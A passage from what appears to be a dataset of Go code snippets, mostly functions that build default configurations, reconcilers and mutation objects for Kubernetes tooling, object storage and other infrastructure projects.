!cc.KubernetesConfig.ExtraOptions.Exists(\"kubelet.localStorageCapacityIsolation=false\") {\n\t\t\t\tif err := cc.KubernetesConfig.ExtraOptions.Set(\"kubelet.localStorageCapacityIsolation=false\"); err != nil {\n\t\t\t\t\texit.Error(reason.InternalConfigSet, \"failed to set extra option\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif runtime.GOOS == \"linux\" && si.DockerOS == \"Docker Desktop\" {\n\t\t\tout.WarningT(\"For an improved experience it's recommended to use Docker Engine instead of Docker Desktop.\\nDocker Engine installation instructions: https://docs.docker.com/engine/install/#server\")\n\t\t}\n\t}\n\n\treturn cc\n}","func newRepairingMutation(c config, op Op, opts ...repairingOption) *RepairingMutation {\n\tm := &RepairingMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRepairing,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func NewDefault() *Config {\n\tname := fmt.Sprintf(\"ec2-%s-%s\", getTS()[:10], randutil.String(12))\n\tif v := os.Getenv(AWS_K8S_TESTER_EC2_PREFIX + \"NAME\"); v != \"\" {\n\t\tname = v\n\t}\n\treturn &Config{\n\t\tmu: new(sync.RWMutex),\n\n\t\tUp: false,\n\t\tDeletedResources: make(map[string]string),\n\n\t\tName: name,\n\t\tPartition: endpoints.AwsPartitionID,\n\t\tRegion: endpoints.UsWest2RegionID,\n\n\t\t// to be auto-generated\n\t\tConfigPath: \"\",\n\t\tRemoteAccessCommandsOutputPath: \"\",\n\n\t\tLogColor: true,\n\t\tLogColorOverride: \"\",\n\n\t\tLogLevel: logutil.DefaultLogLevel,\n\t\t// default, stderr, stdout, or file name\n\t\t// log file named with cluster name will be added automatically\n\t\tLogOutputs: []string{\"stderr\"},\n\n\t\tOnFailureDelete: true,\n\t\tOnFailureDeleteWaitSeconds: 120,\n\n\t\tS3: getDefaultS3(),\n\t\tRole: getDefaultRole(),\n\t\tVPC: getDefaultVPC(),\n\t\tRemoteAccessKeyCreate: true,\n\t\tRemoteAccessPrivateKeyPath: filepath.Join(os.TempDir(), randutil.String(10)+\".insecure.key\"),\n\n\t\tASGsFetchLogs: true,\n\t\tASGs: map[string]ASG{\n\t\t\tname + \"-asg\": {\n\t\t\t\tName: name + \"-asg\",\n\t\t\t\tSSM: &SSM{\n\t\t\t\t\tDocumentCreate: false,\n\t\t\t\t\tDocumentName: \"\",\n\t\t\t\t\tDocumentCommands: \"\",\n\t\t\t\t\tDocumentExecutionTimeoutSeconds: 3600,\n\t\t\t\t},\n\t\t\t\tRemoteAccessUserName: \"ec2-user\", // for AL2\n\t\t\t\tAMIType: AMITypeAL2X8664,\n\t\t\t\tImageID: \"\",\n\t\t\t\tImageIDSSMParameter: \"/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\",\n\t\t\t\tInstanceType: DefaultNodeInstanceTypeCPU,\n\t\t\t\tVolumeSize: DefaultNodeVolumeSize,\n\t\t\t\tASGMinSize: 1,\n\t\t\t\tASGMaxSize: 1,\n\t\t\t\tASGDesiredCapacity: 1,\n\t\t\t},\n\t\t},\n\t}\n}","func newJoinOptions() *joinOptions {\n\t// initialize the public kubeadm config API by applying defaults\n\texternalcfg := &kubeadmapiv1.JoinConfiguration{}\n\n\t// Add optional config objects to host flags.\n\t// un-set objects will be cleaned up afterwards (into newJoinData func)\n\texternalcfg.Discovery.File = &kubeadmapiv1.FileDiscovery{}\n\texternalcfg.Discovery.BootstrapToken = &kubeadmapiv1.BootstrapTokenDiscovery{}\n\texternalcfg.ControlPlane = &kubeadmapiv1.JoinControlPlane{}\n\n\t// This object is used for storage of control-plane flags.\n\tjoinControlPlane := &kubeadmapiv1.JoinControlPlane{}\n\n\t// Apply defaults\n\tkubeadmscheme.Scheme.Default(externalcfg)\n\tkubeadmapiv1.SetDefaults_JoinControlPlane(joinControlPlane)\n\n\treturn &joinOptions{\n\t\texternalcfg: externalcfg,\n\t}\n}","func (o *BaseEdgeLBPoolSpec) setDefaults() {\n\t// Set defaults for for pure dklb functionality.\n\tif o.CloudProviderConfiguration == nil {\n\t\to.CloudProviderConfiguration = pointers.NewString(\"\")\n\t}\n\tif o.CPUs == nil {\n\t\to.CPUs = &DefaultEdgeLBPoolCpus\n\t}\n\tif o.Memory == nil {\n\t\to.Memory = &DefaultEdgeLBPoolMemory\n\t}\n\tif o.Name == nil {\n\t\to.Name = pointers.NewString(newRandomEdgeLBPoolName(\"\"))\n\t}\n\tif o.Role == nil {\n\t\to.Role = pointers.NewString(DefaultEdgeLBPoolRole)\n\t}\n\tif o.Network == nil && *o.Role == constants.EdgeLBRolePublic {\n\t\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\n\t}\n\tif o.Network == nil && *o.Role != constants.EdgeLBRolePublic {\n\t\to.Network = pointers.NewString(constants.DefaultDCOSVirtualNetworkName)\n\t}\n\tif o.Size == nil {\n\t\to.Size = pointers.NewInt32(int32(DefaultEdgeLBPoolSize))\n\t}\n\tif o.Strategies == nil {\n\t\to.Strategies = &EdgeLBPoolManagementStrategies{\n\t\t\tCreation: &DefaultEdgeLBPoolCreationStrategy,\n\t\t}\n\t}\n\t// Check whether cloud-provider configuration is being specified, and override the defaults where necessary.\n\tif *o.CloudProviderConfiguration != \"\" {\n\t\t// If the target EdgeLB pool's name doesn't start with the prefix used for cloud-provider pools, we generate a new name using that prefix.\n\t\tif !strings.HasPrefix(*o.Name, constants.EdgeLBCloudProviderPoolNamePrefix) {\n\t\t\to.Name = pointers.NewString(newRandomEdgeLBPoolName(constants.EdgeLBCloudProviderPoolNamePrefix))\n\t\t}\n\t\t// If the target EdgeLB pool's network is not the host network, we override it.\n\t\tif *o.Network != constants.EdgeLBHostNetwork {\n\t\t\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\n\t\t}\n\t}\n}","func newConfig() (*rest.Config, error) {\n // try in cluster config first, it should fail quickly on lack of env vars\n cfg, err := inClusterConfig()\n if err != nil {\n cfg, err = clientcmd.BuildConfigFromFlags(\"\", clientcmd.RecommendedHomeFile)\n if err != nil {\n return nil, errors.Wrap(err, \"failed to get InClusterConfig and Config from kube_config\")\n }\n }\n return cfg, nil\n}","func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\n\tm := &RestaurantMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRestaurant,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\n\tm := &RestaurantMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRestaurant,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func newConfigV101() *configV1 {\n\tconf := new(configV1)\n\tconf.Version = mcCurrentConfigVersion\n\t// make sure to allocate map's otherwise Golang\n\t// exits silently without providing any errors\n\tconf.Hosts = make(map[string]*hostConfig)\n\tconf.Aliases = make(map[string]string)\n\n\tlocalHostConfig := new(hostConfig)\n\tlocalHostConfig.AccessKeyID = \"\"\n\tlocalHostConfig.SecretAccessKey = \"\"\n\n\ts3HostConf := new(hostConfig)\n\ts3HostConf.AccessKeyID = globalAccessKeyID\n\ts3HostConf.SecretAccessKey = globalSecretAccessKey\n\n\t// Your example host config\n\texampleHostConf := new(hostConfig)\n\texampleHostConf.AccessKeyID = globalAccessKeyID\n\texampleHostConf.SecretAccessKey = globalSecretAccessKey\n\n\tplayHostConfig := new(hostConfig)\n\tplayHostConfig.AccessKeyID = \"\"\n\tplayHostConfig.SecretAccessKey = \"\"\n\n\tdlHostConfig := new(hostConfig)\n\tdlHostConfig.AccessKeyID = \"\"\n\tdlHostConfig.SecretAccessKey = \"\"\n\n\tconf.Hosts[exampleHostURL] = exampleHostConf\n\tconf.Hosts[\"localhost:*\"] = localHostConfig\n\tconf.Hosts[\"127.0.0.1:*\"] = localHostConfig\n\tconf.Hosts[\"s3*.amazonaws.com\"] = s3HostConf\n\tconf.Hosts[\"play.minio.io:9000\"] = playHostConfig\n\tconf.Hosts[\"dl.minio.io:9000\"] = dlHostConfig\n\n\taliases := make(map[string]string)\n\taliases[\"s3\"] = \"https://s3.amazonaws.com\"\n\taliases[\"play\"] = \"https://play.minio.io:9000\"\n\taliases[\"dl\"] = \"https://dl.minio.io:9000\"\n\taliases[\"localhost\"] = \"http://localhost:9000\"\n\tconf.Aliases = aliases\n\n\treturn conf\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tsnapClientset, err := snapclientset.NewForConfig(mgr.GetConfig())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn &ReconcileVolumeBackup{\n\t\tclient: mgr.GetClient(),\n\t\tsnapClientset: snapClientset,\n\t\tconfig: mgr.GetConfig(),\n\t\tscheme: mgr.GetScheme(),\n\t\texecutor: executor.CreateNewRemotePodExecutor(mgr.GetConfig()),\n\t}\n}","func newConfig(serviceName string) config {\n\t// Use stdlib to parse. If it's an invalid value and doesn't parse, log it\n\t// and keep going. It should already be false on error but we force it to\n\t// be extra clear that it's failing closed.\n\tinsecure, err := strconv.ParseBool(os.Getenv(\"OTEL_EXPORTER_OTLP_INSECURE\"))\n\tif err != nil {\n\t\tinsecure = false\n\t\tlog.Println(\"Invalid boolean value in OTEL_EXPORTER_OTLP_INSECURE. Try true or false.\")\n\t}\n\n\treturn config{\n\t\tservicename: serviceName,\n\t\tendpoint: os.Getenv(\"OTEL_EXPORTER_OTLP_ENDPOINT\"),\n\t\tinsecure: insecure,\n\t}\n}","func newConfig() *bqConfig {\n\treturn &bqConfig{\n\t\tarenaSize: cDefaultArenaSize,\n\t\tmaxInMemArenas: cMinMaxInMemArenas,\n\t}\n}","func (c *Config) addUnsetRedpandaDefaults(actual bool) {\n\tsrc := c.redpandaYaml\n\tif actual {\n\t\tsrc = c.redpandaYamlActual\n\t}\n\tdst := &c.redpandaYaml\n\tdefaultFromRedpanda(\n\t\tnamedAuthnToNamed(src.Redpanda.KafkaAPI),\n\t\tsrc.Redpanda.KafkaAPITLS,\n\t\t&dst.Rpk.KafkaAPI.Brokers,\n\t)\n\tdefaultFromRedpanda(\n\t\tsrc.Redpanda.AdminAPI,\n\t\tsrc.Redpanda.AdminAPITLS,\n\t\t&dst.Rpk.AdminAPI.Addresses,\n\t)\n\n\tif len(dst.Rpk.KafkaAPI.Brokers) == 0 && len(dst.Rpk.AdminAPI.Addresses) > 0 {\n\t\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.AdminAPI.Addresses[0])\n\t\tif err == nil {\n\t\t\thost = net.JoinHostPort(host, strconv.Itoa(DefaultKafkaPort))\n\t\t\tdst.Rpk.KafkaAPI.Brokers = []string{host}\n\t\t\tdst.Rpk.KafkaAPI.TLS = dst.Rpk.AdminAPI.TLS\n\t\t}\n\t}\n\n\tif len(dst.Rpk.AdminAPI.Addresses) == 0 && len(dst.Rpk.KafkaAPI.Brokers) > 0 {\n\t\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.KafkaAPI.Brokers[0])\n\t\tif err == nil {\n\t\t\thost = net.JoinHostPort(host, strconv.Itoa(DefaultAdminPort))\n\t\t\tdst.Rpk.AdminAPI.Addresses = []string{host}\n\t\t\tdst.Rpk.AdminAPI.TLS = dst.Rpk.KafkaAPI.TLS\n\t\t}\n\t}\n}","func newConfig(envParams envParams) error {\n\t// Initialize server config.\n\tsrvCfg := newServerConfigV14()\n\n\t// If env is set for a fresh start, save them to config file.\n\tif globalIsEnvCreds {\n\t\tsrvCfg.SetCredential(envParams.creds)\n\t}\n\n\tif globalIsEnvBrowser {\n\t\tsrvCfg.SetBrowser(envParams.browser)\n\t}\n\n\t// Create config path.\n\tif err := createConfigDir(); err != nil {\n\t\treturn err\n\t}\n\n\t// hold the mutex lock before a new config is assigned.\n\t// Save the new config globally.\n\t// unlock the mutex.\n\tserverConfigMu.Lock()\n\tserverConfig = srvCfg\n\tserverConfigMu.Unlock()\n\n\t// Save config into file.\n\treturn serverConfig.Save()\n}","func DefaultKubeadmConfigSpec(r *KubeadmConfigSpec) {\n\tif r.Format == \"\" {\n\t\tr.Format = CloudConfig\n\t}\n\tif r.InitConfiguration != nil && r.InitConfiguration.NodeRegistration.ImagePullPolicy == \"\" {\n\t\tr.InitConfiguration.NodeRegistration.ImagePullPolicy = \"IfNotPresent\"\n\t}\n\tif r.JoinConfiguration != nil && r.JoinConfiguration.NodeRegistration.ImagePullPolicy == \"\" {\n\t\tr.JoinConfiguration.NodeRegistration.ImagePullPolicy = \"IfNotPresent\"\n\t}\n}","func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\n\tlogger := &fsm.Logger{\n\t\tFieldLogger: logrus.WithFields(logrus.Fields{\n\t\t\tconstants.FieldPhase: p.Phase.ID,\n\t\t}),\n\t\tKey: opKey(p.Plan),\n\t\tOperator: operator,\n\t}\n\tvar env map[string]string\n\tvar config []byte\n\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\n\t\tenv = p.Phase.Data.Install.Env\n\t\tconfig = p.Phase.Data.Install.Config\n\t}\n\treturn &configureExecutor{\n\t\tFieldLogger: logger,\n\t\tOperator: operator,\n\t\tExecutorParams: p,\n\t\tenv: env,\n\t\tconfig: config,\n\t}, nil\n}","func (r *K8sRESTConfigFactory) Create(token string) (*rest.Config, error) {\n\tshallowCopy := *r.cfg\n\tshallowCopy.BearerToken = token\n\tif r.insecure {\n\t\tshallowCopy.TLSClientConfig = rest.TLSClientConfig{\n\t\t\tInsecure: r.insecure,\n\t\t}\n\t}\n\treturn &shallowCopy, nil\n}","func newResourceMutation(c config, op Op, opts ...resourceOption) *ResourceMutation {\n\tm := &ResourceMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeResource,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func (c *Chain) initRelayerConfig(path string, selfacc conf.Account, accounts []conf.Account) (rly.Config, error) {\n\tconfig := rly.Config{\n\t\tGlobal: rly.GlobalConfig{\n\t\t\tTimeout: \"10s\",\n\t\t\tLiteCacheSize: 20,\n\t\t},\n\t\tPaths: rly.Paths{},\n\t}\n\n\tfor _, account := range append([]conf.Account{selfacc}, accounts...) {\n\t\tconfig.Chains = append(config.Chains, rly.NewChain(account.Name, xurl.HTTP(account.RPCAddress)))\n\t}\n\n\tfor _, acc := range accounts {\n\t\tconfig.Paths[fmt.Sprintf(\"%s-%s\", selfacc.Name, acc.Name)] = rly.NewPath(\n\t\t\trly.NewPathEnd(selfacc.Name, acc.Name),\n\t\t\trly.NewPathEnd(acc.Name, selfacc.Name),\n\t\t)\n\t}\n\n\tfile, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755)\n\tif err != nil {\n\t\treturn rly.Config{}, err\n\t}\n\tdefer file.Close()\n\n\terr = yaml.NewEncoder(file).Encode(config)\n\treturn config, err\n}","func newOperativeMutation(c config, op Op, opts ...operativeOption) *OperativeMutation {\n\tm := &OperativeMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeOperative,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func newConfigParser(conf *config, options flags.Options) *flags.Parser {\n\tparser := flags.NewParser(conf, options)\n\treturn parser\n}","func newConfigmap(customConfigmap *customConfigMapv1alpha1.CustomConfigMap) *corev1.ConfigMap {\n\tlabels := map[string]string{\n\t\t\"name\": customConfigmap.Spec.ConfigMapName,\n\t\t\"customConfigName\": customConfigmap.Name,\n\t\t\"latest\": \"true\",\n\t}\n\tname := fmt.Sprintf(\"%s-%s\", customConfigmap.Spec.ConfigMapName, RandomSequence(5))\n\tconfigName := NameValidation(name)\n\treturn &corev1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configName,\n\t\t\tNamespace: customConfigmap.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(customConfigmap, customConfigMapv1alpha1.SchemeGroupVersion.WithKind(\"CustomConfigMap\")),\n\t\t\t},\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: customConfigmap.Spec.Data,\n\t\tBinaryData: customConfigmap.Spec.BinaryData,\n\t}\n}","func newMachineConfigDiff(oldConfig, newConfig *mcfgv1.MachineConfig) (*machineConfigDiff, error) {\n\toldIgn, err := ctrlcommon.ParseAndConvertConfig(oldConfig.Spec.Config.Raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing old Ignition config failed with error: %w\", err)\n\t}\n\tnewIgn, err := ctrlcommon.ParseAndConvertConfig(newConfig.Spec.Config.Raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing new Ignition config failed with error: %w\", err)\n\t}\n\n\t// Both nil and empty slices are of zero length,\n\t// consider them as equal while comparing KernelArguments in both MachineConfigs\n\tkargsEmpty := len(oldConfig.Spec.KernelArguments) == 0 && len(newConfig.Spec.KernelArguments) == 0\n\textensionsEmpty := len(oldConfig.Spec.Extensions) == 0 && len(newConfig.Spec.Extensions) == 0\n\n\tforce := forceFileExists()\n\treturn &machineConfigDiff{\n\t\tosUpdate: oldConfig.Spec.OSImageURL != newConfig.Spec.OSImageURL || force,\n\t\tkargs: !(kargsEmpty || reflect.DeepEqual(oldConfig.Spec.KernelArguments, newConfig.Spec.KernelArguments)),\n\t\tfips: oldConfig.Spec.FIPS != newConfig.Spec.FIPS,\n\t\tpasswd: !reflect.DeepEqual(oldIgn.Passwd, newIgn.Passwd),\n\t\tfiles: !reflect.DeepEqual(oldIgn.Storage.Files, newIgn.Storage.Files),\n\t\tunits: !reflect.DeepEqual(oldIgn.Systemd.Units, newIgn.Systemd.Units),\n\t\tkernelType: canonicalizeKernelType(oldConfig.Spec.KernelType) != canonicalizeKernelType(newConfig.Spec.KernelType),\n\t\textensions: !(extensionsEmpty || reflect.DeepEqual(oldConfig.Spec.Extensions, newConfig.Spec.Extensions)),\n\t}, nil\n}","func NewOperator(config Config, deps Dependencies) (*Operator, error) {\n\to := &Operator{\n\t\tConfig: config,\n\t\tDependencies: deps,\n\t\tlog: deps.LogService.MustGetLogger(\"operator\"),\n\t\tdeployments: make(map[string]*deployment.Deployment),\n\t\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\n\t\tlocalStorages: make(map[string]*storage.LocalStorage),\n\t}\n\treturn o, nil\n}","func newPetruleMutation(c config, op Op, opts ...petruleOption) *PetruleMutation {\n\tm := &PetruleMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypePetrule,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func newConfigParser(conf *litConfig, options flags.Options) *flags.Parser {\n\tparser := flags.NewParser(conf, options)\n\treturn parser\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tvar err error\n\tvar c clientv3.Interface\n\tvar rc *rest.Config\n\n\tif c, err = clientv3.NewFromEnv(); err != nil {\n\t\treturn nil\n\t}\n\n\t// for pods/exec\n\tif rc, err = rest.InClusterConfig(); err != nil {\n\t\tlog.Error(err, \"Failed to get *rest.Config\")\n\t\treturn nil\n\t}\n\treturn &ReconcileRouteReflector{client: mgr.GetClient(), calico: c, rconfig: rc, scheme: mgr.GetScheme()}\n}","func NewReconciler(m manager.Manager, of resource.ManagedKind, o ...ReconcilerOption) *Reconciler {\n\tnm := func() resource.Managed {\n\t\treturn resource.MustCreateObject(schema.GroupVersionKind(of), m.GetScheme()).(resource.Managed)\n\t}\n\n\t// Panic early if we've been asked to reconcile a resource kind that has not\n\t// been registered with our controller manager's scheme.\n\t_ = nm()\n\n\tr := &Reconciler{\n\t\tclient: m.GetClient(),\n\t\tnewManaged: nm,\n\t\tpollInterval: defaultpollInterval,\n\t\ttimeout: reconcileTimeout,\n\t\tmanaged: defaultMRManaged(m),\n\t\texternal: defaultMRExternal(),\n\t\tvalidator: defaultMRValidator(),\n\t\t//resolver: defaultMRResolver(),\n\t\tlog: logging.NewNopLogger(),\n\t\trecord: event.NewNopRecorder(),\n\t}\n\n\tfor _, ro := range o {\n\t\tro(r)\n\t}\n\n\treturn r\n}","func NewConfig(path string) SetterConfig {\n\tif path == \"\" {\n\t\tfmt.Fprintf(os.Stderr, \"no config file found\\n\")\n\t\tos.Exit(1)\n\t}\n\n\tvar conf SetterConfig\n\n conf.GithubToken = \"\"\n conf.SchemesMasterURL = \"https://raw.githubusercontent.com/chriskempson/base16-schemes-source/master/list.yaml\"\n conf.TemplatesMasterURL = \"https://raw.githubusercontent.com/chriskempson/base16-templates-source/master/list.yaml\"\n conf.SchemesListFile = \"cache/schemeslist.yaml\"\n conf.TemplatesListFile = \"cache/templateslist.yaml\"\n conf.SchemesCachePath = \"cache/schemes/\"\n conf.TemplatesCachePath = \"cache/templates/\"\n conf.DryRun = true\n conf.Colorscheme = \"flat.yaml\"\n conf.Applications = map[string]SetterAppConfig{}\n\n file, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"could not read config. Using defaults: %v\\n\", err)\n\t} else {\n\t check(err)\n\t err = yaml.Unmarshal((file), &conf)\n\t check(err)\n\n if conf.SchemesMasterURL == \"\" {\n\t\t conf.SchemesMasterURL = defaultSchemesMasterURL\n }\n\t if conf.TemplatesMasterURL == \"\" {\n conf.TemplatesMasterURL = defaultTemplatesMasterURL\n }\n\n conf.SchemesListFile = expandPath(conf.SchemesListFile)\n conf.TemplatesListFile = expandPath(conf.TemplatesListFile)\n conf.SchemesCachePath = expandPath(conf.SchemesCachePath)\n conf.TemplatesCachePath = expandPath(conf.TemplatesCachePath)\n for k := range conf.Applications {\n if conf.Applications[k].Mode == \"\" {\n app := conf.Applications[k]\n app.Mode = \"rewrite\"\n conf.Applications[k] = app\n }\n if conf.Applications[k].Comment_Prefix == \"\" {\n app := conf.Applications[k]\n app.Comment_Prefix = \"#\"\n conf.Applications[k] = app\n }\n for f := range conf.Applications[k].Files {\n conf.Applications[k].Files[f] = expandPath(conf.Applications[k].Files[f])\n }\n }\n\n }\n\treturn conf\n}","func newResourceDelta(\n\ta *resource,\n\tb *resource,\n) *ackcompare.Delta {\n\tdelta := ackcompare.NewDelta()\n\tif (a == nil && b != nil) ||\n\t\t(a != nil && b == nil) {\n\t\tdelta.Add(\"\", a, b)\n\t\treturn delta\n\t}\n\tcustomSetDefaults(a, b)\n\n\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig) {\n\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig\", a.ko.Spec.HyperParameterTuningJobConfig, b.ko.Spec.HyperParameterTuningJobConfig)\n\t} else if a.ko.Spec.HyperParameterTuningJobConfig != nil && b.ko.Spec.HyperParameterTuningJobConfig != nil {\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.MetricName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil && b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type != *b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type\", a.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type, b.ko.Spec.HyperParameterTuningJobConfig.HyperParameterTuningJobObjective.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil && b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges != nil {\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.CategoricalParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.ContinuousParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges\", a.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges, b.ko.Spec.HyperParameterTuningJobConfig.ParameterRanges.IntegerParameterRanges)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil && 